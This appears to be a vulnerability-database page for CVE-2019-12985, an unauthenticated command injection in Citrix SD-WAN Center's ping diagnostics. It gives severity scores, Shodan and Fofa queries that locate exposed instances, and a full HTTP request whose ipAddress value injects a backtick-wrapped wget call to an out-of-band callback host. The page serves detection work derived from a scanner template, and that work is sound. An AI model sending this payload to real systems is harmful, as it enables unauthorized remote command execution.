🔙 목록으로 돌아가기

CVE-2019-12985: Citrix SD-WAN Center - Remote Command Injection

TitleCitrix SD-WAN Center - Remote Command Injection
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire Citrix SD-WAN Center infrastructure.
RemediationApply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.92571
CVE IDCVE-2019-12985
CWE IDCWE-78
Shodan Queryhttp.title:"Citrix SD-WAN"http.title:"citrix sd-wan"
Fofa Querytitle="citrix sd-wan"
Tags cve cve2019 citrix rce unauth oast tenable vkev vuln

🔍 Vulnerability Description

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24
Connection: close
Accept-Encoding: gzip
POST /Collector/diagnostics/ping HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Content-Length: 74
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

ipAddress=%60/bin/wget+http://d5jp7shle0o0sd09f1lgc1fugsa47zi9n.oast.me%60

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12985.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-12985.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A